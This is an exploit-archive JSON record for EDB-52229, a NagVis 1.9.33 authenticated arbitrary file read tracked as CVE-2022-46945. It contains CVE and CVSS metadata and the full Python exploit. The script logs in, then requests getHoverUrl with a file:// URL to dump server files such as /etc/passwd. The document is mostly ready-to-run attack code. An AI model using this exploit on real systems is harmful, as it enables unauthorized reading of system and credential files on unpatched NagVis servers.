{"exploit":{"id":"EDB-52229","name":"NagVis 1.9.33 - 'getHoverUrl' Authenticated Arbitrary File Read","description":"NagVis 1.9.33 - 'getHoverUrl' Authenticated Arbitrary File Read","cves":["CVE-2022-46945"],"author":"xerosec","published":"2025-04-16","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52229","path":"exploits/php/webapps/52229.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52229.py","vulnerabilities":[{"id":"CVE-2022-46945","state":"PUBLISHED","title":null,"titleSource":null,"description":"Nagvis before 1.9.34 was discovered to contain an arbitrary file read vulnerability via the component /core/classes/NagVisHoverUrl.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-46945","cvss":{"version":"3.1","baseScore":9.1,"severity":"critical","vectorString":"CVSS:3.1/AC:L/AV:N/A:L/C:H/I:L/PR:L/S:C/UI:N","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-46945"},"updatedAt":"2025-11-03T19:27:44.519Z","retrievedAt":"2026-11-26T17:37:45.545Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52229.png?v=2","url":"https://exploitbin.com/exploits/EDB-52229","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52229/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52229/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: NagVis 1.9.33 - Arbitrary File Read\n# Date: 03/12/2024\n# Exploit Author: David Rodríguez a.k.a. xerosec\n# Vendor Homepage: https://www.nagvis.org/\n# Software Link: https://www.nagvis.org/downloads/archive\n# Version: 1.9.33\n# Tested on: Linux\n# CVE: CVE-2022-46945\n\nimport requests\nimport argparse\nimport json\nfrom urllib.parse import urljoin\n\ndef authenticate(target_url, username, password):\n    url = urljoin(target_url, '/nagvis/frontend/nagvis-js/index.php')\n    headers = {\"User-Agent\": \"Mozilla/5.0\", \"Content-Type\": \"application/x-www-form-urlencoded\"}\n    data = {\"_username\": username, \"_password\": password, \"submit\": \"Login\"}\n\n    try:\n        response = requests.post(url, headers=headers, data=data)\n        if response.status_code == 200 and \"Set-Cookie\" in response.headers:\n            print(\"[✔] Authentication successful.\")\n            return response.headers[\"Set-Cookie\"]\n        print(f\"[✘] Authentication failed. Status code: {response.status_code}\")\n    except Exception as e:\n        print(f\"[✘] Request error: {e}\")\n    return None\n\ndef exploit(target_url, session_cookie, file_path):\n    url = urljoin(target_url, '/nagvis/server/core/ajax_handler.php')\n    headers = {\"User-Agent\": \"Mozilla/5.0\", \"Cookie\": session_cookie}\n    params = {\"mod\": \"General\", \"act\": \"getHoverUrl\", \"url[]\": f\"file://{file_path}\"}\n\n    try:\n        response = requests.get(url, headers=headers, params=params)\n        if response.status_code == 200:\n            print(\"[✔] Exploitation successful. File content:\\n\")\n            display_file_content(response.text)\n        else:\n            print(f\"[✘] Exploitation failed. Status code: {response.status_code}\")\n    except Exception as e:\n        print(f\"[✘] Request error: {e}\")\n\ndef display_file_content(raw_response):\n    try:\n        data = json.loads(raw_response)\n        if isinstance(data, list) and len(data) > 0 and isinstance(data[0], dict) and \"code\" in data[0]:\n            content = data[0][\"code\"]\n            # Decodificar escapes de manera segura\n            content = content.encode('utf-8').decode('unicode_escape')\n            print(content.strip())\n        else:\n            print(\"[✘] Unexpected JSON structure.\")\n    except json.JSONDecodeError as jde:\n        print(f\"[✘] JSON decoding error: {jde}\")\n    except Exception as e:\n        print(f\"[✘] Unexpected error during output processing: {e}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Exploit for CVE-2022-46945 (File Read Vulnerability)\")\n    parser.add_argument(\"-t\", \"--target\", required=True, help=\"Target base URL (e.g., http://10.0.2.132)\")\n    parser.add_argument(\"-u\", \"--username\", required=True, help=\"Username for authentication\")\n    parser.add_argument(\"-p\", \"--password\", required=True, help=\"Password for authentication\")\n    parser.add_argument(\"-f\", \"--file\", required=True, help=\"File path to read (e.g., /etc/passwd)\")\n\n    args = parser.parse_args()\n\n    session_cookie = authenticate(args.target, args.username, args.password)\n    if session_cookie:\n        exploit(args.target, session_cookie, args.file)\n\nif __name__ == \"__main__\":\n    main()","sha256":"452f93b1ecef768ecd0b344883d18dfc456e654833a599c818921a9919300fe2","bytes":3154,"fetchedAt":"2026-11-27T05:12:03.657Z","encoding":"utf-8 (display only; download retains original bytes)"}